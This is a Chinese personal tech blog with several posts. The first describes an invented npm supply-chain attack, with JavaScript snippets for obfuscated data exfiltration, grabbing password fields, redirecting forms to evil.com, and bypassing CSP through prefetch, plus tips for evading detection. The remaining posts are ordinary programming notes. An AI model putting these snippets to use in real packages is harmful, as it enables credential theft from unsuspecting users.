web哪有什么安全

一篇文章,有感而发,安全真的难做。

文中一些让人“眼前一亮”的 hack 如下:

  • 传播方式:npm dependency 注入,相比之下 xss 什么的就弱爆了,没有用户输入也能让你中招
  • 伪装成人畜无害的 package,比如“let you log to console in any color”(我觉得是在黑 chalk.js),然后拼命往其他 npm 上下载的多的项目提 pr,总会有一些 merge 的
  • 然后就静静地躺在那些中招的项目的 node_modules 里,耐心潜伏
  • 恶意代码被发现了咋办?这个好说,在项目结构上伪装一下,src里放人畜无害的代码,dst里放 unglify 的恶意代码(反正dst里的代码也是 gitignore 掉的),但是并不是从src的代码 build 过去的。所以,看项目的 github 干干净净,但是从 npm 下载下来的执行的代码,却是完全的两回事
  • 而且,恶意代码也没那么容易发现,至少静态扫代码不行:
const i = "gfudi"; // fetch
const k = s =>
  s
    .split("")
    .map(c => String.fromCharCode(c.charCodeAt() - 1))
    .join("");
self[k(i)](urlWithYourPreciousData);
  • 假设你在colorful.log的时候,就已经莫名其妙的执行了很多恶意代码了,比如获取input[type=password].value
  • 这些获取的信息,总得传到自己的服务器上吧,这个门道就更多了:
  • 永远不在NODE_ENV=developement的时候发请求,开发测试期可能就躲过去了
  • 永远不在 7am 到 7pm 发请求,高峰期又可能就避过去了(数据先放 localStorage 之类的地方缓缓)
  • 然后现代浏览器发请求,都有个叫 Content Security Policy 的东西做安全的托底。有 CSP 怎么绕开呢?先确认一下:
fetch(document.location.href).then(resp => {
  const csp = resp.headers.get("Content-Security-Policy");
  // does this exist? Is is any good?
});
  • 确认的目的很简单,如果顶着 CSP 作案,可能会被 report-uri 捕获,留下犯罪痕迹
  • CSP 不合理就好办了:
Array.from(document.forms).forEach(
  formEl => (formEl.action = `//evil.com/bounce-form`)
);
  • 有 CSP 咋办呢,还有终极大招:
const linkEl = document.createElement("link");
linkEl.rel = "prefetch";
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
  • 如果浏览器恰好不支持 prefetch,但是 CSP 设置却异常合理,咋整?不整了呗,反正也不会留下痕迹

当然故事是编的,不过从可行性上来看,没啥大问题


亚里士多德一波:

  1. 运行在客户端的代码都是不安全的
  2. web 代码(js)运行在客户端
  3. 所以 web 代码是不安全的

客户端代码:AKA 用户去主动运行的代码,比起服务器代码:AKA 程序员或者程序去启动的代码,理论上就存在更多可能。游戏外挂和各种 pc 病毒都没灭绝,web 的绝对安全谈何容易,充其量也就是提高一点犯罪成本罢了。

END

cs:app读书笔记

突然有时间可以看下这本砖头,就挑着想看的章节,先看个一遍。越看越感叹先人的智慧,计算机科学当得起科学二字,毫不夸大。

c 语言

CS 的精髓就在于抽象,把抽象说的具体一点:汇编就是 executable 里.text 的抽象,而 C 就是汇编的抽象。为什么很多 system 级别的事情只能 C 来做,原因很简单:隔着两层抽象(还有一层是虚拟机之类的东西),你很难做到跟 C 一样的事情。 longjmp怎么做?用try-catch吗?自由度开到顶的指针怎么做?用蹩脚的unsafe吗?(参考 Microsoft 自己开源的 C#的 codebase,就算是偏下层的产品,用过多少unsafe) “支持”和“为此而生”是两个截然不同的东西,就像 SUV 和真正的越野车。

linux 的 syscall 为啥都是以 C 提供的,跟这本书的所有实例都是用 C 写的,一个道理。写不好 C 说得过去,不能读 C 万万不行。

进程

“进程是操作系统提供给开发人员的一种抽象,程序看上去独占了机器的所有资源”,这个定义,感觉比我们本科教材上写的好。(好像写的是:进程独占资源,线程占用处理能力?)

%rax %eax %ax %al

联想到 tyr 大神公众号的推送文章,“现在的程序员”无脑就用 json+http,实在是太浪费了。人家一个 64 位的寄存器都可以分 32 位、16 位的用,你凭啥把一个 bit 就能解决的 bool,用false这么五大个 ascii(更不要说 utf 了),5 * 8 = 40 个 bit 才搞定?绿水青山金山银山了解一下?

x86-64 加了一条限制,传送指令的两个操作数都不能指向内存位置

TIL 系列,虽然在日常编程中都把内存当“高速缓存”在用了,但是在某个维度上来看,内存确实是龟速。只是很多程序员都没法活在那个维度。

branch prediction

最早看到这个概念应该还是在某个 StackOverflow 的回答里,简单(不是很正确)的描述就是,处理器为了做 eager 的优化,会先忽略if的结果,先“并行”计算if{}里面的结果,如果猜对了,皆大欢喜,直接就有结果了;猜错了,那就再算一次,多多少少浪费了一点性能(其实跟你预期的时间一致)。

也就是:

if (cond) {
	doSth
}

处理器会先预测一个 cond,然后可能会预先 doSth,哪怕最后cond==false(点背)。

有个优化的方法:用类似cmovge之类的指令(也就是?:),来规避原先if编译出的jge指令,断绝了 cpu 猜测的想念。

前两个月很火的 meltdown 还是 spectre 漏洞中的某一个,就是用这个原理,去读到内核的地址里的东西的。

栈破坏检测

又是类似0xDEEDBEEF之类的烂梗,只是多科普了一个知识:金丝雀检测之所以叫金丝雀检测,是因为以前下矿井会先下只金丝雀,因为它能察觉有毒的气体。

库打桩机制

又是个 TIL:C 提供某种能力,可以在编译时替换第三方库的函数为自己的实现,从某种程度上来说,很像 ruby 里的 Monkey Patch,但是要彻底的多。

动态链接库

直接节约了内存中的 .text .data 空间,再次体现出系统级的省;热升级——nginx 不停,后台代码更新。这两点是我没有想过的。

fork

写了些 fork 的 hello world,深刻理解了朋友说的:fork 以后的子进程直接共享 parent 的状态和内存,你告诉我,windows 怎么做?但要写更复杂的 fork,心智上的负担就重了,还是类似于 coroutine 之类简单一点的模型比较符合我等的智力水平。

virtual memory

  • 分级(多级的Page Table Entry)和缓存(硬件级别的TLB),简直是CS中万物理论(中的一项)。
  • 需要通用的数据结构,加个header总是没错的。系统分配的heap内存还有一个可选的footer
END

用node_redis,不需要pooling

周末看到个 XX 公司 redis 最佳实践的文章,中间有一条是 client 最好做 pooling,提高效率。

手上的项目后台是 nodejs,redis client 用的redis_node这个实现,没有额外实现连接池。因为印象中似乎看过有 stackoverflow 的答案说是已经默认实现了,一搜,果然有这个帖子https://stackoverflow.com/questions/21976270/node-js-redis-connection-pooling,只是说的是不用去管 pool 了,一个 client 就足够高效了。

略感兴趣是如何的高效法,难道是默认实现了 connection pool?就看了看源代码,结果一个 client 就一个 socket(or tls),丝毫没发现 connection pool 的影子。

遂又搜了一下 github 的 issue,发现了个关键字——pipeline。

读了 redis官方的文档,才弄明白是如何个高效法:

redis 的协议十分的简洁,标准的 request-response 模式,除了 sub/pub 和 moniter 等命令外,都是你发一个 request 我回一个 response,简单直白。而所谓 pipeline,就是 client 可以一次性发送多个 request,而不需要等到前一个 request 收到对应的 response 了以后再发送第二个 request,server 也会把所有的 response 按收到 request 顺序打包一次性的回复。从而减少了 RRT 和 syscall 的次数,在 throughput 高的情况下可以提升不少的效率。

等等,一次多个请求一起发送,redis 的协议又没有包 ID 之类的东西,不会出现乱序么?这个还真不会!因为服务器是按照收到请求的顺序准备好 response,并放到 buffer 里统一发送的。你能保证请求的顺序,也就不用担心相应的顺序了。正好,nodejs 还就是单线程模型的,而且底层的网络实现还用的是 epoll 而不是 threadpool。这下请求顺序都没得乱,巧了吗这不是!

再等等,我看 node_redis 的源代码,每次调用 redis 的 command,都会往 socket 里写,好像并没有合成一个 tcp 包的打包操作啊?因为本来 nodejs 的 socket.write 也不是直接往 system 的 socket 里写的啊:

socket.write(data[, encoding][, callback])# Added in: v0.1.90 Sends data on the socket. The second parameter specifies the encoding in the case of a string–it defaults to UTF8 encoding.

Returns true if the entire data was flushed successfully to the kernel buffer. Returns false if all or part of the data was queued in user memory. ‘drain’ will be emitted when the buffer is again free.

The optional callback parameter will be executed when the data is finally written out - this may not be immediately.

启示:

  1. 没事别瞎优化 —— premature optimization is the root of all evil
  2. 多读源代码 —— show me the code
END

恰如其分的丑陋

用了段时间的golang,写点东西,强行把每年的post凑到3篇。

The Good

Language

做为C语系的明星级后辈,golang语法只能用平易近人来形容(跟lisp语系比起来)。只要是有一点其他C语系的背景,就算是没看完tutorial,不说写,读golang代码基本不会有任何困难。

学习曲线平缓且短 check√

作为2010年左右诞生的语言,modern的元素也一个都不差,reflection——有,GC——不断优化中,匿名函数——还行(不能用=>略不爽),类型推断——姑且算吧,etc。

时尚 check√

简洁。不仅仅是少了每行一个的;,或者是直接用方法名的大小写来区别“public”和“private”,就连语言的Specification也只有java的1/N长。

简约 check√

我最爱的几个小地方:

// swap
a, b = b, a
// byte manipulation
bs := []byte("ffff")
fmt.Printf("%x", bs)
// multiple expression for
for val, ok = dic[key]; ok {
    // val blahblah
}

讨喜(???) check√

Go Tools

成熟的技术发展到一定阶段必定拥有自己的ecosystem,ecosystem的基石无非两点——开放&包管理。golang的开放不必说,全套代码就在那儿(compiler也用golang重写了,满足好奇心的成本够低了)。 golang的包管理也是简单的不行——源码分发,go get完事。对比js和py,npm和pip都是强大的包管理工具,从各方面来说都比go get强大不少(版本控制、可以做镜像等,现在的dep都还不是正式版本也比较神奇)。他们各自的生态体系中都诞生了不少不局限于nodejs和python的工具,比如tldrthefuck。 golang的第三方工具不见多少(当然你可以说是stdlib足够强大),而且略显混乱(顺便吐槽dep和godep竟然是两个不懂的东西),但人家第一方的工具厉害的没朋友啊:

pprof

CPU和heap都能dump,针对http也有特化的包支持。总之profiler该有的东西都有,而且:

sample

体贴到了这种程度!

BTW,CPU profile生成的SVG也不比Visual Studio里花哨的图差。

go vet

这段代码:

if (a != b || a != c) && cond {}

是会有warning的!!因为!=是可以用xx定律提到外面去,而且代码本身的逻辑也读起来很不友好!是不是比def but not used之类的warning有用很多(golang中的def but not used是error)!

go fmt

终结“tab vs space”大战的神器,既然官方都认定了更好的格式,那还有什么理由不统一代码风格?不仅仅是一个项目的风格统一,而是所有项目的风格统一,想想都觉得很cooooooool(爸爸教你玩游戏写代码)。

google一下,吹gofmt的文章多得是。

Language-Level Parallel

之前写过不少关于javascript的async的文章,但始终没有一个结论,业界也并没有找到银弹。究其原因,无论是promise还是async/await,始终只是patch,补丁打的再多,能有一件新衣服好看?

问题不是actor模式或者“actress”模式多么好,而是原生级别/语法级别的并行支持,直接就决定了程序员写代码的思路!就像用C-like的语言处理集合,你第一反应是for,而lisp-like,第一反应会是fold

有个形而上的视频值得一看

The Bad

no-sugar

爱好甜食,少了语法糖,多少有点不爽,比如

// 存疑,因为golang并不是OOP,而且this并不总是指针
func Struct.SomeFunc() {
    this.Foo
}
strukt := SomeStruct {
    A, // 同名的field自动赋值,like es2015
    B,
    C,
}

no-functional

无穷无尽的for让人心烦,没有map没有filter,也没法写出“underscore.js”来。因为虽然有high-order function,但是没有泛型。既然golang的author出于效率原因并没有选择泛型,那你除了写for也没有其他选择。golang的设计思路应该是productive和effective的平衡,泛型这个特性明显是取effective而舍productive的决定。但设计思路这种东西其实还是挺玄的,“符合设计思路”这件事,其实就是“作者想怎么定就怎么定”,所以才会有很多大神A用B语言不爽愤而发明C语言的故事。/摊手

why golang

error handling

显式的err handling,同泛型的取舍,有道理但我不喜欢,C式的错误处理让人感觉活在80年代。

The Ugly

终于可以点题了。

虽然在大神眼里,golang只算是个中等偏下的语言。 但这份“中等偏下”,IMHO,算得上是恰如其分。

拿另一个我用的多的语言举例子当反面教材——C#,C#每个版本里加入的语言特性和stdlib之多,简直是“互联网”式的。 C#好用吗?当然,你能想到的paradigm基本都能玩得转!但是C#2.0和C#6.0简直是两个语言,你写的C#和我写的C#也是两个语言。灵活的语言容易讨喜,写起来心情愉悦,殊不知“写代码一时爽,重构火葬场”。 你永远无法想象,在用别人的代码的时候,遇到ins.变量1这种代码心里会是怎么个感受。(真人真事,人格担保)

Python这么多年来把定位相似的Ruby按在地上摩擦,就是因为Do one thing in one way而不是Do one thing in 93244 ways,golang同理,简洁的语法和gofmt,很好的完成了one way的目标。比起python,golang更是多了效率(performance)的优势和原生的并行支持,备受追捧也是理所应当。

都2017年了,离C语言诞生都40多年了,可以说,最近10年诞生的所有语言都是DSL(domain specific)而没有general purpose了。 因为现在IT领域跟其他传统行业类似,也进入了细分的时代,比如AI和UI,虽然都有个I,但是从主流的开发语言到开发工具,基本上是没有走向统一的那天了。 就算一个新语言的定位是replace of C(Rust?不懂不乱说),那也是针对系统级编程的DSL。

golang就是云编程的DSL,因为docker和kubernets这种云时代的基础都是golang写的,正如unix是用C写的一样。

曾几何时,还被一些hello-world的文章误人子弟过,说什么golang是新一代的C,你家的C内存不透明反而封装好了线程池?

最后,还是一个我大学以来就坚持的观点——编程语言火不火,主要还是看用的人多不多,其他?都是废话。

END

Expressjs三五事

最近在用Expressjs折腾后台,遇到一些坑(很多都不算坑,只怪我自己不会走路),也积累的一些tips,可以一记:

EXPRESS

框架本身的质量和成熟度还是比较高的,最出色/难得的一点是——十分的克制(连body-parser都要自己require),跟前辈RoR和Rjango相比,轻量的不像实力派。虽然支持View,但是没有任何默认的Render Engine;根本就没有任何连带的ORM或者类似的数据访问的组件,也就跟Model也沾不上啥边。

所以,你已经很难把Express定位为MVC Web Framework了,而更为准确的定位是——带middleware chain的router,仅此而已。

轻量带来的优点和缺点同样显而易见

Pros:

  1. 源码短,容易读,想要看清楚一个请求怎么来怎么去debug个10来次都能弄明白个大概
  2. 优化容易,iceberg少,能看到的东西基本上就是所有了
  3. 接口简单,学习成本和记忆成本少。(req, res, next) => {}就基本上你需要写的所有东西了。
  4. res和req只是在nodejs本来的request和response上封装的一层,该有什么就有什么
  5. app和router的设计真的是出色,各种sub-app和router的分离可以让每个请求走的middleware chain既清晰又精简

Cons:

  1. 各种middleware需要自己折腾,麻烦
  2. 各种middleware需要自己折腾,麻烦
  3. 各种middleware需要自己折腾,麻烦
  4. 各种middleware需要自己折腾,麻烦
  5. 各种middleware需要自己折腾,麻烦

开发

Nodemon

任何用到了node的项目,都该在package.json里有如下配置才对:

  "scripts": {
    "dev": "set DEBUG=zd:* & nodemon ./bin/www",
  },

Debug()

这是一个很有用的module:

  1. 不是所有所有代码都能用ide的debug搞定,比如时序相关的
  2. 很多时候也就是一个print就能搞明白的东西,何必要F5?
  3. 其他各种module,包括express自己也都是用的debug(),只要set DEBUG=*就能看到所有的print,岂不痛哉
  4. 关于nodejs的一切都是tj大神写的,这个也不例外

Promise

Promise是一味解决callback hell的好药,但并不能根治,还是希望await/async早点成为正式标准吧。promise的缺点,随便google一下多的是。

Sequelize

算是个合格的ORM,该有的功能都有,只是:

  1. 文档略渣
  2. 时区问题有点烦,需要在配置里加个+8:00,DB里存utc确实是解决globalization的好办法,但几个项目需要呢?
  3. migration的功能看起来很美,但是动不动就要drop table,你敢用?
  4. model里没定义的field,写在query的attributes里,并不会报错,你看debug信息里生成的sql也有,但最后的model就是没有,有点蛋疼
const foo = sequelize.define('foo', {
    a: DataTypes.STRING(512),
    //b: DataTypes.STRING(512),
});
     
db.foo.findOne({
    attributes: ['a', 'b']
}).then(ret => {
    // DEBUG: EXECUTE SQL: select a, b from foo
    ret.b === undefined;
});

Morgan

全局日志,没啥好说的。只是很多时候只能抛出Error: write after end,但实际上可能是读写permission的问题。不过这也怪不得实现,只能自己好生检查了。

部署

Serve Static

Expressjs自带的server static十分简单,就是单纯的每次读文件(304不用读,废话),正确的返回304或者200,也没有任何缓存(view engine的模板倒是有缓存)。静态资源还是应该放在专业的地方。

PM2

监控和部署全款它了,好用还是好用,只是:

  1. web上的监控服务收费,倒是无可厚非
  2. deploy localhost有点麻烦(需要把ecosystem.js里的host写成localhost之类的,google一下有很多人问过),因为设计初衷是部署到remote机器(确实是合理的)
  3. startup脚本用其他用户,必须要sudo pm2 startup --user other --hp /var/other,su到其他user,报一些风马牛不相及的error
  4. 执行deploy的目录必须要git init过 ???

nickyong

Newbie-thing

  • 非root用户无法bind 80端口:现在还没lbs,有了自然不会bind 80,看起来过得去的解决方案就只有iptable做本地转发了
  • 开发环境用crontab做些自动部署之类的东西挺方便的
  • shell script真不是人写的
END

熟练掌握javascript

超过半年没有写文章,也是懒得很。

这么大个时间上的断层,免不了想总结回顾一下:

  • 代码:这段时间写的最多的还是Unity和javascript,当然除了写还有学,写到哪儿学到哪儿(托了没那么忙的福,可以想看就花个一天看到底)
  • 代码:helloworld('elixir') helloworld('go')
  • 代码:最终还是入了vim的邪教,看个网页都想jjjjjj
  • 看书:fiction和non-fiction一半一半,non-fiction把两本简史看了,小说看了一堆,感觉越看越快
  • 其他:积累管理经验??(/nickyoungface)

好了,列完list就算是自我安慰完了(时光没虚度),接下来说正题


刺激到我想写文章的原因有两个:一是见识了个“写代码就是要用vim并且不能有任何提示所有方法都要自己背下来才是写得好”的技术总监,不以为然;二是看了You Are Not Google这篇文章,深以为然。

技术(不单止computer science)的存在都是为了解决问题,解决问题的先决条件在于正确识别问题

写代码(单指输入源代码)要解决的首要问题是能否默写出方法名么?并不是,而是如何更快更简单地用代码描述出你的思路!背诵方法名并不能辅助我思考,反而是completion能帮助我更快的输入,留出更多时间给思考。也让我在10dd(删除10行)了以后能心情好点,不受再次背诵之苦。

使用某个特定技术要为了解决某个特定的问题,你的问题(可能是只有3个程序员,需要做一个不知道有没有用户的APP试水)和Google的问题(有世界上最好的工程师团队,需要以毫秒级的响应速度完成数千万用户的请求)相距甚远,有多大概率你们问题的答案却刚好是同一个?

正确的识别问题,接下来,才更有可能完美的解决问题。

举个例子——javascript


这里说的javascript,不是指language层面的js,language层面的js连它的creator都承认过在前几个版本就是失败的存在(个人认为es4及以前的版本都是渣)。不过话又说回来,有哪个大家广泛认可的主流语言能在一个月里设计出来的?deadline才是产品最大的敌人!

runtime层面的javascript,确实是一个正确识别问题并解决问题的成功案例。要注意的是,这里的runtime并不单指V8,而是V8加上跟V8配套的browser或者nodejs的实现。就像同样也称得上成功的Unity,完整的runtime应该是mono加上底层更为复杂的render和control flow的实现。

各个runtime的实现可能有差异,但核心原理却大同小异,我们从用V8引擎的nodejs的intro开始:

Node.js uses an event-driven, non-blocking I/O model

Single-thread

虽然intro里的关键字是event-driven和non-blocking,但第一个keyword,还应该是单线程。

单线程要解决的是什么问题?答:复杂性。

就像前面说到的,V8只负责javscript的执行,且只是以单线程执行javascript。在完整的Runtime中,V8还需要跟其他功能协同作业,比如网络、比如绘制。如果javascript的执行环境就是个复杂的多线程模型,那么整个Runtime的复杂度将会是M * N而不是M + N,直接呈指数级增长。而且选择单线程模型,还有个额外的好处(也可能是设计者觉得最大的好处)—— 不容易犯错,毕竟普通意义上的多线程编程,跟正常人类的思维逻辑就有些相悖,并不是每个程序员都能驾驭的。(君不见现在的新语言都会把多线程用coroutine或者是actor之类的模型包装起来,不直接暴露给使用者)。

解决了复杂性的问题,V8的职责倒是单一明了了,那需要parallel的场景怎么办?

异步!

Event-driven & non-blocking

这两个关键字加在一起,共同支持了javascript的并行,我们先从non-blocking说起。

看一个blocking的反例:

while(1) {
    block();
    render();
}

如果block一直执行不完或者是花了很长时间才执行完,那么render就会一直等待,你的浏览器可能就会出现“掉帧延迟”甚至无法响应各种鼠标键盘的输入,因为在render下面,可能还有响应各种事件和中断的函数在。

如何直接让任意blocking的方法变成non-blocking的,简单:

// 这段代码本身是错误的,并没有解决问题
non-block = function() {
    setTimeout(block, 0);
}

Javascript具有functional programming的特性,理论上所有blocking的函数都可以当成callback传给其他切换异步的方法。

OK,那是不是有了setTimeout是不是就万事大吉了?启个操作系统的timer,到时间了把该调用的callback都调一下就完事?

你忘了还有一类天天都能遇到的代码:

foo.on('click', clickCb);

除了各种浏览器event,还有network相关的地方,也需要回调的存在来共同完成异步这件事。怎么统一管理这些回调?

这就需要event-queue了(event-driven的核心)

直接从nodejs的网站上抄一段来,看下nodejs的event-queue都处理了些啥(once again:event-queue是V8之外的功能)

timers: this phase executes callbacks scheduled by setTimeout() and setInterval().
I/O callbacks: executes almost all callbacks with the exception of close callbacks, the ones scheduled by timers, and setImmediate().
idle, prepare: only used internally.
poll: retrieve new I/O events; node will block here when appropriate.
check: setImmediate() callbacks are invoked here.
close callbacks: e.g. socket.on(‘close’, …).

可以看到,event-queue为了解决异步模型,做了远比你想象多的事情。

简单来说,一个完整的event-loop分成了不同的phrase,每个phrase都是一个小队列,塞入了各种不同类型的回调,让V8执行回调,然后dequeue,当小队列为空或者达到threshold(callstack.length == max),再处理下面的phrase,直至走完所有phrase,完成一次loop。

这些复杂性,对于V8或者使用javascript的程序员来讲,都是黑盒子,但却很好的解决了异步的问题(event queue + non-blocking callback),从而进一步解决了并行的问题。让你的浏览器能够“一边”执行js代码、“一边”渲染、“一边”进行网络IO。

Compilation

单线程是好,但是从本质上,他无法利用多核的优势(虽然runtime的其他功能可以充分利用多核,nodejs也有cluster模式),可能代码的执行会不够“快”。

那要怎么解决这个问题?那就让他更快!

javascript编译器/VM给出的完整的答案十分的复杂,从对象模型到内存分配再到垃圾回收,无所不用其极。我能力有限,只取两点来讲:

no bytecode

我自己有很长一段时间好奇过,为什么从来不见有文章写javascript的bytecode的?因为在我的认知中,所有有VM和JIT的语言,比如C#/Ruby/Python,都该有bytecode,要不然怎么做JIT,怎么做进一步的优化呢?

这就是典型没想清楚问题的例子。

别忘了Javascript诞生之初,是为了给浏览器使用的。

有bytecode的执行过程是怎样的?

       parse      parse           JIT
source -----> AST -----> bytecode ----> executable

没有bytecode呢?

       parse      JIT              
source -----> AST ---->  executable

少了一个parse的步骤,在代码少的时候(早些年的js可不是动不动就好几十K,好几万个function哦),最后执行的总时间只快不慢,别忘了,javascript最开始可是以文本的方式下载到本地的。而且,javascript早年间都是很有大概率“一次加载一次执行”的,而不像是Ruby/Python的代码“一次加载多次执行”,缓存一份bytecode,就只用一次,实际上就是一种浪费。

但是,早些年是早些年,不巧现在不光浏览器的javascript越来越复杂,还出现了nodejs这种“幺蛾子”。

这种情况下,还能不更快?

hot optimazation

当然可以,如果nodejs在干跟RoR一样的事情了,那把bytecode再捡回来不就好了?

不过V8还是没有传统意义上的bytecode。因为所谓bytecode,跟LLVM的IR一样,其实就是多了一个中间地带来方便做一些“动态”的优化。V8也会做动态的优化,但并不是特别需要额外的特别地带,只需要一个从javascript function到executable的mapping就行。实际上V8会多开一个runtime profiler的线程,监视代码里运行次数最多(hottest)的函数,然后重点优化这些函数,直接替换最开始(第一次明显还需要有一个全量的编译,先让代码跑通,才能找到跑的最多的地方啊)生成的executable。

full compilation + hot optimazation 就是V8面对怎么才能让javascript跑的更快的答案。


恩,以上就是我觉得能在简历上写 熟练掌握javascript 应该达到的水平。


TL;DR : 先问,再答,是道。

END

My Tool Chain Part2

开篇先吐一槽:上一篇的名字就起的不对,明明该叫My Tool Kit,然而脑袋一抽写成了Tool Chain。结果回过头再读一遍,着实想不到就那几个tool要怎么才能凑个chain出来。

算了,看在命名的连贯性上,继续错下去好了:

Sublime

这次写插件:

Package Control

没这个玩意,就不用谈插件了。只说一个良好的体验——这个插件带了Enable/Disable和Remove/Install两组功能,意义在于——后悔的时候不用再去下载,前提是用不上的时候,你不会冲动的先删为敬。

Evernote

本来该是一个H3,但大部分时候我用Evernote都是在Sublime里使用,所以放在这一级写也没有什么不妥。

首先,你得承认,你还是需要一个云笔记应用的,因为现在我们能用到/必须用到的端确实是越来越多了。

那么墙内可选的,稳定+大牌的产品就只有有道云笔记和印象笔记了。有道云笔记试用了一下体验也还不错,特别是内容直接支持markdown这个特性,简直是programmer-friendly。

只是,有道没有提醒功能!根据搜索引擎的历史,似乎之前的版本是提醒功能的,不知为何现在的版本砍掉了这个功能。这就蛋疼了,要知道我在手机上的使用场景,一半都是提醒相关的(并不想用闹钟,我就想要all in one的note)。

在pc和mac上,你就需要Evernote这个插件了。本地生成一个key文件,由插件帮你使用(封装&隐藏)Evernote官方提供的web API,就直接可以read和write你的所有笔记和笔记本了。笔记内容支持markdown编辑,而同一份笔记在移动端/网页端/官方客户端查看的时候则是html。

然后,这套note就完全符合我的需求了:能便捷输入的时候(有键盘),可以更好的格式化和编辑内容;不能便捷输入的时候(移动端),只要直观的查看,而且能添加定时提醒。

最后,一点启示:要做大平台,web API真的只是标配

Hex Viewer

我不想装ultra editor,我有时候需要直接查看二进制,就只能依靠这个插件了。

Markdown Preview

用了一段时间的Markdown Editing,发现并不是很喜欢那种“半所见即所得式”的模式。我多半时间只是想要基本写完了看下最后的效果罢了,所以这个只需要一个命令在浏览器中看到最后效果的插件就很适合我了。

良心的是,这插件还专门提供了输出成Github Style的选项。



其他杂七杂八的插件,多数都是一些语言相关的语法增强和格式化的工具,没什么好说的,用到时候去下个最热门download最多的就好。

虽然将来可能会被VS Code取代(3~5 yrs i guess),但现在sublime确实还是我的文本编辑器首选。


docker

不管其他人怎么吹docker(docker是真的吊,我懂),对我来说docker就只是个工具,是我们这种“低端懒鬼型”程序员的救命神器。

最近装个deeplearning处理图像的应用,断断续续装了我一个礼拜你敢信?当然网络问题是最大的锅,但各种dependency的issue也是足够让人头痛。

我真的就只是想要binary罢了,我真不相信我的环境特殊到独一无二啥都要我自己build。

以前倒是真的干过为了玩某个linux上的东西下了一整个虚拟机的镜像的事,事后感觉就像是为了吃KFC的番茄酱买了个全家桶似得。

既然能虚拟化一个Runtime,何苦要去虚拟化整个OS?这正是docker厉害的地方,强就强在这个概念了!(似乎docker不是最先提container这个概念的,不过能炒到最火也是一种能力啊)

反正就效果来说,我想玩一下Jenkins什么的,再也不用去step1step2step99(我丝毫不关心你的依赖,也不关心makefile是怎么写的,真的),也不用去下虚拟机镜像了。我只需要优雅的打开我的docker,高贵的在docker hub上搜索一下,然后冷艳的等待下载启动container,最后,开整!

小小的自来水一发daocloud,免费提供墙内的镜像和加速,自然是极好的。


revealjs

简单概括就一句话:用markdown做基于浏览器的ppt。

只要是程序员,上手都会很快。最后的效果还不算太差,大部分的场景绝对都足以应对了。

如果你想,revealjs也能做到跟powerpoint一样支持演讲者视图,只是要就用到nodejs了,麻烦了不少。

我自己也fork了一个直接clone了就能开干的版本

END

谁说UV只能<1

先说结论:UV在实际应用中并不一定小于1,OpenGl对texture进行采样的时候,专门有一个参数来控制对UV坐标大于1的部分如何处理——详见这个链接的wrapping部分。

也就是说,对于obj文件:

v  -44.036751 0.000000 47.681671
v  42.139252 0.000000 47.681671
v  -44.036751 0.000000 -38.494034
v  42.139252 0.000000 -38.494034
# 4 vertices

vt  0.0 0.0 0
vt  2.0 0.0 0
vt  0.0 2.0 0
vt  2.0 2.0 0
# 4 texture vertices

vn  0.000000 1.000000 -0.000000
vn  0.000000 1.000000 -0.000000
vn  0.000000 1.000000 -0.000000
vn  0.000000 1.000000 -0.000000
# 4 vertex normals

g Plane01
s 1
f 3/3/3 1/1/1 2/2/2 4/4/4

g

如果用GL_REPEAT来对材质采样并渲染模型,会得到一个垂直于Y轴的平面(四个v坐标很容看出来),且对应材质会均匀的平铺四次(vt刚好是(0,1)的两倍),如下图:

2x2

对应在u3d中,只要把texture的wrap mode设为repeat就行(还有一个选项是clamp,实际对应的是GL_CLAMP_TO_EDGE)。

事实证明,0 < UV < 1这个定义永远成立只是我一厢情愿的想法罢了,在实际应用当中,UV > 1恰恰是个解决repeat问题的最佳方案。不过这个方案还是存在缺陷的——需要repeated的材质无法跟其他材质一起打成atlas了。

又涨姿势了。

END

The Good Code

回家在XP上写东西,惊喜的发现连国产软件也都开始嫌弃和逐渐放弃XP和IE了。恩,慢归慢,只要不倒车,车轮总还是向前走的。

技术总是在飞速的更新。但无论技术怎么革新、新概念如何吹嘘,一行行的源代码始终是整个软件生态系统中最重要的根基。就像猎命师靠收命格,海贼靠热血,绝地武士靠原力,写代码才是程序员安身立命之本。

写了差不多五年代码,多多少少能沉淀一点跟《Clean Code》和《Refactoring》不太一样的东西了。

一记:

read more

Functional Thinking

标题起得有点大。

说不上来到底是幸运还是不幸,总之就是年底有空超前完成了一下明年的KPI——Learning Haskell。完成度还算满意,就连传说中的monad也算是有个感性的认识了。

强推这个教程,基本上是我所有看过的教程里最良心的了。

第一次听说Functional Programming还是好几年前刚刚开始写代码营生的时候,那时的我还是初级代码搬运工,冷不丁搬运到了.Where(=>).Select(=>).ToArray()这种第一眼看不明白多看两眼又觉得好厉害的代码,瞬间就惊为天人。这好几个for都写不出来的代码,一个chain就做完了。顺手多google了一下linq的东西,也就无可避免的学到了一个新单词——Functional Programming

平凡人类认知那些first impression不错新事物,大多会经历从overestimate到underestimate的一个或多个反复。反正我对C#中的linq的认知是经历了“linq == silver bullet”和“linq == performance hit”的起伏的,现如今再看,当然是能明白具体问题具体分析才是重点,只是写过的那些代码里就不免一时都是linq又一时连using System.Linq都不见。

不过对于FP的好感一直是有,一是因为不懂,二是因为直观看来代码确实精简。这两年给自己安排的KPI都是FP相关的(去年是lisp,今年的lua相关性弱一点,之后的haskell可是自喻为pure FP呢),嗯,这叫IDL(Interest Driven Learning)。

今年眼看就要结束,总算是能沉淀一些在我看来能算作是Thinking的东西,还挺好的。

read more

Reading Lua (1) 准备工作

如果说后面几篇对lua源码的分析是干货的话,这一篇应该可以说是“废话”了。但事实上,看完了这篇,后面几篇你都不用看了。
因为这一篇跟后面几篇的关系——简单来说就是——渔和鱼。
在这一篇,我只写自己是怎样读代码的,而不提具体的代码。之所以把自己<b>了,是想要强调此处的渔是非常主观和个人化的东西,必须不适合所有人,就权当自己的经验总结和采坑大全了。

想要来一顿美味的Lua源码阅读大餐,你需要准备以下食材:

  1. 一个Visual Studio (不是说GDB不好,只是在断点的时候直接就转到上下文中函数的定义或实现,这种体验谁用谁知道)
  2. 一份原汁原味的Lua5.1.4源代码(这个版本可参考的资料最多,虽然Lua各种总的loc都不多,但简单而完备的版本看起来肯定更爽)
  3. 各种参考资料适量(云风的GC系列文章、ANoFrillsIntroToLua51VMInstructions、Mike Paul在各种地方留下的阅读指引)
  4. 足量的耐心
  5. 足量的时间

有了以上几种食材,烹饪的过程就异常简单了——F5!

没错,是他,是他,就是他:

F5

